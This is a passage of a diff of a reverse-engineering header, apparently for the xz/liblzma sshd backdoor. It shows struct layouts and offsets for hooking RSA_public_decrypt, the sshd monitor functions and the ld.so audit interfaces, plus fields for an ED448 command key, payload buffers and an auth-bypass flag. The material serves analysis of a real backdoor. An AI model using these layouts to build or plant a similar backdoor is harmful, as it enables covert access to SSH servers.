sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
+ 1178 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
+ 1179 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
+ 1180 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
+ 1181 assert_offset(
sshd_ctx_t, mm_answer_keyverify_start, 0x68);
+ 1182 assert_offset(
sshd_ctx_t, mm_answer_keyverify_end, 0x70);
+ 1183 assert_offset(
sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
+ 1184 assert_offset(
sshd_ctx_t, writebuf_size, 0x84);
+
+ 1186 assert_offset(
sshd_ctx_t, STR_unknown_ptr, 0xA0);
+ 1187 assert_offset(
sshd_ctx_t, mm_request_send_start, 0xA8);
+ 1188 assert_offset(
sshd_ctx_t, mm_request_send_end, 0xB0);
+ 1189 assert_offset(
sshd_ctx_t, use_pam_ptr, 0xC0);
+ 1190 assert_offset(
sshd_ctx_t, permit_root_login_ptr, 0xC8);
+ 1191 assert_offset(
sshd_ctx_t, STR_without_password, 0xD0);
+ 1192 assert_offset(
sshd_ctx_t, STR_publickey, 0xD8);
+
+
+
+
+
+
+ 1199 SYSLOG_LEVEL_VERBOSE,
+ 1200 SYSLOG_LEVEL_DEBUG1,
+ 1201 SYSLOG_LEVEL_DEBUG2,
+ 1202 SYSLOG_LEVEL_DEBUG3,
+ 1203 SYSLOG_LEVEL_NOT_SET = -1
+
+
+ 1206 typedef void (*log_handler_fn)(
+
+
+
+
+
+
+ 1213 BOOL logging_disabled;
+ 1214 BOOL log_hooking_possible;
+ 1215 BOOL syslog_disabled;
+
+ 1217 char *STR_percent_s;
+ 1218 char *STR_Connection_closed_by;
+
+ 1220 char *STR_authenticating;
+
+
+
+ 1224 void *log_handler_ptr;
+ 1225 void *log_handler_ctx_ptr;
+ 1226 log_handler_fn orig_log_handler;
+ 1227 void *orig_log_handler_ctx;
+
+ 1229 void (*mm_log_handler)(
int level,
int forced,
const char *msg,
void *ctx);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1250 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+ 1258 struct __attribute__((packed)) {
+ 1259 u8 sshbuf_data_qword_index;
+ 1260 u8 sshbuf_size_qword_index;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1318 struct monitor **struct_monitor_ptr_address;
+
+
+
+
+
+
+
+
+
+
+
+
+ 1355 u64 sock_read_buf_size;
+ 1356 u8 sock_read_buf[64];
+ 1357 u64 payload_data_size;
+
+
+
+
+ 1366 u32 sshd_host_pubkey_idx;
+
+ 1371 u8 secret_data[ED448_KEY_SIZE];
+ 1377 u8 shift_operations[31];
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1422 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1525 void (*_dl_audit_symbind_alt)(
struct link_map *l,
const ElfW(Sym) *ref,
void **value, lookup_t result);
+
+
+ 1541 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+ 1546 pfn_RSA_get0_key_t hook_RSA_get0_key;
+
+ 1548 u64 hooks_installed;
+
+
+ 1551 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
+ 1552 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
+ 1553 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
+ 1554 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
+ 1555 assert_offset(
ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
+ 1556 assert_offset(
ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
+ 1557 assert_offset(
ldso_ctx_t, _dl_audit_ptr, 0x70);
+ 1558 assert_offset(
ldso_ctx_t, _dl_naudit_ptr, 0x78);
+ 1559 assert_offset(
ldso_ctx_t, hooked_audit_ifaces, 0x80);
+
+ 1561 assert_offset(
ldso_ctx_t, libcrypto_l_name, 0xF8);
+ 1562 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
+ 1563 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
+
+ 1565 assert_offset(
ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
+ 1566 assert_offset(
ldso_ctx_t, hook_RSA_get0_key, 0x120);
+
+ 1568 assert_offset(
ldso_ctx_t, hooks_installed, 0x130);
+
+
+
+
+
+
+
+
+
+
+ 1579 u64 signed_data_size;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1597 uintptr_t (*symbind64)(
+ 1598 Elf64_Sym *sym,
unsigned int ndx,
+ 1599 uptr *refcook, uptr *defcook,
+ 1600 unsigned int flags,
const char *symname);
+
+ 1602 pfn_RSA_get0_key_t hook_RSA_get0_key;
+ 1603 log_handler_fn mm_log_handler;
+ 1604 PADDING(
sizeof(
void *));
+ 1605 PADDING(
sizeof(
void *));
+ 1606 sshd_monitor_func_t mm_answer_keyallowed;
+ 1607 sshd_monitor_func_t mm_answer_keyverify;
+ 1608 PADDING(
sizeof(
void *));
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1656 Elf64_Ehdr *dynamic_linker_ehdr;
- 1657 void **__libc_stack_end;
-
-
-
- 1661 assert_offset(
main_elf_t, dynamic_linker_ehdr, 0x8);
- 1662 assert_offset(
main_elf_t, __libc_stack_end, 0x10);
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1664 Elf64_Ehdr *dynamic_linker_ehdr;
+ 1665 void **__libc_stack_end;
+
+
+
+ 1669 assert_offset(
main_elf_t, dynamic_linker_ehdr, 0x8);
+ 1670 assert_offset(
main_elf_t, __libc_stack_end, 0x10);
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1726 struct link_map *liblzma_map;
- 1727 struct link_map *libcrypto_map;
- 1728 struct link_map *libsystemd_map;
- 1729 struct link_map *libc_map;
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1766 lzma_allocator fake_allocator;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1734 struct link_map *liblzma_map;
+ 1735 struct link_map *libcrypto_map;
+ 1736 struct link_map *libsystemd_map;
+ 1737 struct link_map *libc_map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1774 lzma_allocator fake_allocator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
- 1842 u32 operation_index;
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1865 typedef union __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
-
- 1879 u8 signature[ED448_SIGNATURE_SIZE];
-
-
-
+
+
+
+ 1850 u32 operation_index;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1870 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+ 1879 typedef union __attribute__((packed)) {
+
+
+
-
-
-
-
-
-
-
-
- 1897 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
-
-
-
-
-
-
-
-
-
-
-
-
- 1936 X_FLAGS2_AUTH_BYPASS = 0x4,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1974 const BIGNUM *rsa_n;
- 1975 const BIGNUM *rsa_e;
-
-
- 1978 PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
- 1979 u8 ivec[CHACHA20_IV_SIZE];
- 1980 u8 ed448_key[ED448_KEY_SIZE];
-
-
-
-
-
-
- 1987 assert_offset(
key_ctx_t, payload, 0x15);
-
- 1989 assert_offset(
key_ctx_t, ed448_key, 0x27D);
+
+
+
+
+
+
+
+
+ 1893 u8 signature[ED448_SIGNATURE_SIZE];
+
+
+
+
+
+
+
+
+
+ 1908 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+
+
+ 1921 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+ 1932 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
+
+
+
+
+
+
+
+
+
+
+
+
+ 1971 X_FLAGS2_AUTH_BYPASS = 0x4,
+
+
+
+
+
-
-
-
-
- 1999 const BIGNUM *rsa_n;
- 2000 const BIGNUM *rsa_e;
-
- 2002 u16 payload_body_size;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2021 struct timespec timespec;
-
-
-
-
-
-
-
-
-
-
- 2036 u64 hostkey_hash_offset;
-
- 2038 u8 *payload_data_ptr;
-
-
-
-
-
-
-
-
- 2047 struct __attribute__((packed)) {
-
-
-
-
- 2052 struct __attribute__((packed)) {
-
- 2054 u64 num_host_pubkeys;
- 2055 u8 ed448_key[ED448_KEY_SIZE];
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+ 2009 const BIGNUM *rsa_n;
+ 2010 const BIGNUM *rsa_e;
+
+
+ 2013 PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
+ 2014 u8 ivec[CHACHA20_IV_SIZE];
+ 2015 u8 ed448_key[ED448_KEY_SIZE];
+
+
+
+
+
+
+ 2022 assert_offset(
key_ctx_t, payload, 0x15);
+
+ 2024 assert_offset(
key_ctx_t, ed448_key, 0x27D);
+
+
+
+
+
+ 2034 const BIGNUM *rsa_n;
+ 2035 const BIGNUM *rsa_e;
+
+ 2037 u16 payload_body_size;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2056 struct timespec timespec;
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2126 PADDING(
sizeof(u64));
-
- 2133 PADDING(
sizeof(u64));
- 2134 PADDING(
sizeof(u64));
-
- 2141 PADDING(
sizeof(u64));
-
-
-
-
-
-
-
-
-
- 2156 PADDING(
sizeof(u64));
- 2157 lzma_allocator allocator;
-
+
+
+
+
+ 2071 u64 hostkey_hash_offset;
+
+ 2073 u8 *payload_data_ptr;
+
+
+
+
+
+
+
+
+ 2082 struct __attribute__((packed)) {
+
+
+
+
+ 2087 struct __attribute__((packed)) {
+
+ 2089 u64 num_host_pubkeys;
+ 2090 u8 ed448_key[ED448_KEY_SIZE];
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
- 2187 u8 *output_register;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2320 BOOL is_64bit_operand,
-
-
-
-
-
-
-
- 2343 BOOL is_64bit_operand,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2409 EncodedStringId encoded_string_id,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2463 FuncFindType find_mode);
-
-
-
-
-
-
-
-
-
-
-
- 2522 extern char *check_argument(
char arg_first_char,
char* arg_name);
+
+ 2161 PADDING(
sizeof(u64));
+
+ 2168 PADDING(
sizeof(u64));
+ 2169 PADDING(
sizeof(u64));
+
+ 2176 PADDING(
sizeof(u64));
+
+
+
+
+
+
+
+
+
+ 2191 PADDING(
sizeof(u64));
+ 2192 lzma_allocator allocator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2222 u8 *output_register;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2355 BOOL is_64bit_operand,
+
+
+
+
+
+
+
+ 2378 BOOL is_64bit_operand,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2444 EncodedStringId encoded_string_id,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2498 FuncFindType find_mode);
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2635 EncodedStringId encoded_string_id);
-
-
-
-
-
-
- 2669 StringXrefId xref_id,
- 2670 void **pOutCodeStart,
void **pOutCodeEnd,
-
-
-
-
-
-
- 2689 EncodedStringId *stringId_inOut,
- 2690 void *rodata_start_ptr);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2760 unsigned shift_count, BOOL start_from_call);
-
-
-
- 2774 unsigned operation_index,
- 2775 unsigned shift_count,
- 2776 int index, u8 *code);
-
-
-
-
-
-
-
-
-
- 2804 unsigned shift_count,
unsigned operation_index);
-
-
- 2849 u8 *call_site, u8 *code,
-
- 2851 unsigned shift_count,
unsigned operation_index);
-
-
-
- 2866 unsigned shift_count,
unsigned operation_index,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2983 struct link_map *libc,
-
-
-
+
+
+
+
+
+
+ 2557 extern char *check_argument(
char arg_first_char,
char* arg_name);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2670 EncodedStringId encoded_string_id);
+
+
+
+
+
+
+ 2704 StringXrefId xref_id,
+ 2705 void **pOutCodeStart,
void **pOutCodeEnd,
+
+
+
+
+
+
+ 2724 EncodedStringId *stringId_inOut,
+ 2725 void *rodata_start_ptr);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2795 unsigned shift_count, BOOL start_from_call);
+
+
+
+ 2809 unsigned operation_index,
+ 2810 unsigned shift_count,
+ 2811 int index, u8 *code);
+
+
+
+
+
+
+
+
+
+ 2839 unsigned shift_count,
unsigned operation_index);
+
+
+ 2884 u8 *call_site, u8 *code,
+
+ 2886 unsigned shift_count,
unsigned operation_index);
+
+
+
+ 2901 unsigned shift_count,
unsigned operation_index,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+ 3018 struct link_map *libc,
+
+
+
+
+
-
-
-
-
- 3060 extern EncodedStringId
get_string_id(
const char *string_begin,
const char *string_end);
-
- 3101 extern unsigned int _get_cpuid_modified(
unsigned int leaf,
unsigned int *eax,
unsigned int *ebx,
unsigned int *ecx,
unsigned int *edx, u64 *caller_frame);
-
- 3114 extern void _cpuid_gcc(
unsigned int level,
unsigned int *a,
unsigned int *b,
unsigned int *c,
unsigned int *d);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3202 uptr *refcook, uptr *defcook,
-
- 3204 const char *symname);
-
-
-
-
-
- 3235 ptrdiff_t *libname_offset,
-
-
-
-
-
- 3263 ptrdiff_t *libname_offset,
-
-
-
-
-
-
-
-
-
-
-
- 3310 ptrdiff_t libname_offset,
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3353 void **sensitive_data_out);
-
-
-
-
-
-
- 3374 void **sensitive_data_out,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3444 u8 *buffer, u64 bufferSize,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3525 u64 sshkey_digest_offset,
- 3526 u64 signed_data_size,
-
-
-
-
-
-
- 3544 BOOL skip_root_patch,
-
- 3546 BOOL replace_monitor_reqtype,
- 3547 int monitor_reqtype,
-
-
-
-
-
-
-
-
-
-
- 3575 u8 **code_start_out,
-
-
-
-
-
-
-
-
-
-
- 3613 void **monitor_field_ptr_out,
-
-
-
-
-
-
- 3631 void *mem_range_start,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3699 enum SocketMode socket_direction
-
-
-
-
-
-
-
-
-
-
-
- 3745 size_t *pOutPayloadSize,
-
-
-
-
- 3758 size_t payload_size,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3853 unsigned int num_pointers
-
-
-
-
-
-
-
-
-
-
-
- 3882 int flen,
unsigned char *from,
- 3883 unsigned char *to, RSA *rsa,
int padding);
-
-
-
- 3895 LogLevel level,
const char *fmt, ...);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3095 extern EncodedStringId
get_string_id(
const char *string_begin,
const char *string_end);
+
+ 3136 extern unsigned int _get_cpuid_modified(
unsigned int leaf,
unsigned int *eax,
unsigned int *ebx,
unsigned int *ecx,
unsigned int *edx, u64 *caller_frame);
+
+ 3149 extern void _cpuid_gcc(
unsigned int level,
unsigned int *a,
unsigned int *b,
unsigned int *c,
unsigned int *d);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3237 uptr *refcook, uptr *defcook,
+
+ 3239 const char *symname);
+
+
+
+
+
+ 3270 ptrdiff_t *libname_offset,
+
+
+
+
+
+ 3298 ptrdiff_t *libname_offset,
+
+
+
+
+
+
+
+
+
+
+
+ 3345 ptrdiff_t libname_offset,
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3388 void **sensitive_data_out);
+
+
+
+
+
+
+ 3409 void **sensitive_data_out,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3479 u8 *buffer, u64 bufferSize,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3560 u64 sshkey_digest_offset,
+ 3561 u64 signed_data_size,
+
+
+
+
+
+
+ 3579 BOOL skip_root_patch,
+
+ 3581 BOOL replace_monitor_reqtype,
+ 3582 int monitor_reqtype,
+
+
+
+
+
+
+
+
+
+
+ 3610 u8 **code_start_out,
+
+
+
+
+
+
+
+
+
+
+ 3648 void **monitor_field_ptr_out,
+
+
+
+
+
+
+ 3666 void *mem_range_start,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3734 enum SocketMode socket_direction
+
+
+
+
+
+
+
+
+
+
+
+ 3780 size_t *pOutPayloadSize,
+
+
+
+
+ 3793 size_t payload_size,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3888 unsigned int num_pointers
+
+
+
+
+
+
+
+
+
+
+
+ 3917 int flen,
unsigned char *from,
+ 3918 unsigned char *to, RSA *rsa,
int padding);
+
+
+
+ 3930 LogLevel level,
const char *fmt, ...);
+
+
+
+
+
+
+
+
-
-
-
-
- 3961 static_assert(
sizeof(global_ctx) ==
sizeof(
void *));
-
-
- 3964 static_assert(
sizeof(hooks_data) ==
sizeof(
void *));
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3996 static_assert(
sizeof(global_ctx) ==
sizeof(
void *));
+
+
+ 3999 static_assert(
sizeof(hooks_data) ==
sizeof(
void *));
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
int RSA_public_decrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding)
Definition: ssh_patch.c:37
-
-ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2098
-ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:2086
-u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2092
-data passed to functions that access the backdoor data
Definition: xzre.h:1670
-this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1715
-libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1760
-string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1765
-struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1720
-elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1750
-elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1755
-elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1746
-elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1740
-lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1770
-struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1725
-
-
-
-
-
-void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1804
-void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1809
-void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1799
-
-ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2112
-ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2118
-
-
-u8 flags2
see InstructionFlags2
Definition: xzre.h:735
-u8 flags
see InstructionFlags
Definition: xzre.h:731
-
-
-void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:673
-u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:678
-
-array of ELF handles
Definition: xzre.h:1630
-elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1641
-elf_info_t * main
this is for sshd
Definition: xzre.h:1635
-
-u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:899
-u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:828
-u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:874
-Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:878
-u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:916
-Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:840
-char * strtab
pointer to the ELF string table
Definition: xzre.h:848
-Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:832
-u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:912
-Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:824
-u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:836
-Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:856
-BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:866
-u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:894
-u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:882
-u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:870
-Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:852
-u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:844
-u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:860
-
-
-void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1348
-libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1291
-char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1309
-BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1301
-imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1287
-void * sshd_data_start
sshd data segment end
Definition: xzre.h:1329
-u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1373
-void * sshd_code_start
sshd code segment start
Definition: xzre.h:1321
-void * sshd_data_end
sshd data segment start
Definition: xzre.h:1333
-char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1313
-void * sshd_code_end
sshd code segment end
Definition: xzre.h:1325
-void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1341
+
+ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2133
+ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:2121
+u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2127
+data passed to functions that access the backdoor data
Definition: xzre.h:1678
+this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1723
+libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1768
+string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1773
+struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1728
+elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1758
+elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1763
+elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1754
+elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1748
+lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1778
+struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1733
+
+
+
+
+
+void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1812
+void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1817
+void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1807
+
+ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2147
+ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2153
+
+
+u8 flags2
see InstructionFlags2
Definition: xzre.h:739
+u8 flags
see InstructionFlags
Definition: xzre.h:735
+
+
+void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:677
+u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:682
+
+array of ELF handles
Definition: xzre.h:1638
+elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1649
+elf_info_t * main
this is for sshd
Definition: xzre.h:1643
+
+u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:903
+u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:832
+u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:878
+Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:882
+u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:920
+Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:844
+char * strtab
pointer to the ELF string table
Definition: xzre.h:852
+Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:836
+u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:916
+Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:828
+u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:840
+Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:860
+BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:870
+u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:898
+u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:886
+u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:874
+Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:856
+u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:848
+u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:864
+
+
+void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1352
+libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1295
+char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1313
+BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1305
+imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1291
+void * sshd_data_start
sshd data segment end
Definition: xzre.h:1333
+u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1381
+void * sshd_code_start
sshd code segment start
